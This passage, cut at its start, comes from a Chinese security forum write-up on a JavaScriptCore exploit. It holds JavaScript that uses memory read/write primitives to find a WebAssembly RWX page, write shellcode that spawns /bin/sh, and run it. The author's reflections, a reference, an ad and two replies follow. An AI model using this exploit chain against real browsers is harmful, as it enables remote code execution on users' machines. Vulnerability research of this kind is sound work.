                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
 
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
 
var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);
 
var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
                80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
                1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
                137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];
 
 
arb_write(rwx_addr, shellcode);
pwn();

效果如下:
在这里插入图片描述

总结

通过对该漏洞的分析与调试,笔者学习了如何通过一个 fakeObject 原语进行 RCE,并且也让我认识到了自己对 JIT 真是了解甚少,原作者通过 === 优化后的代码去爆破对象地址可谓妙哉

但是自己写利用,调试分析 exp 的问题从而针对问题进行修改,这对笔者的漏洞利用能力有极大的帮助,当然也希望自己可以跟上大佬的步伐,早日成功一个还不错的安全研究人员

参考

Safari, Hold Still for NaN Minutes!


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2024-4-12 09:07 被XiaozaYa编辑 ,原因:
收藏
点赞2
支持
分享
最新回复 (2)
雪    币: 19461
活跃值: (29125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-12 09:22
1
雪    币: 1893
活跃值: (1850)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
牛的
2024-4-12 11:42
0
游客
登录 | 注册 方可回帖
返回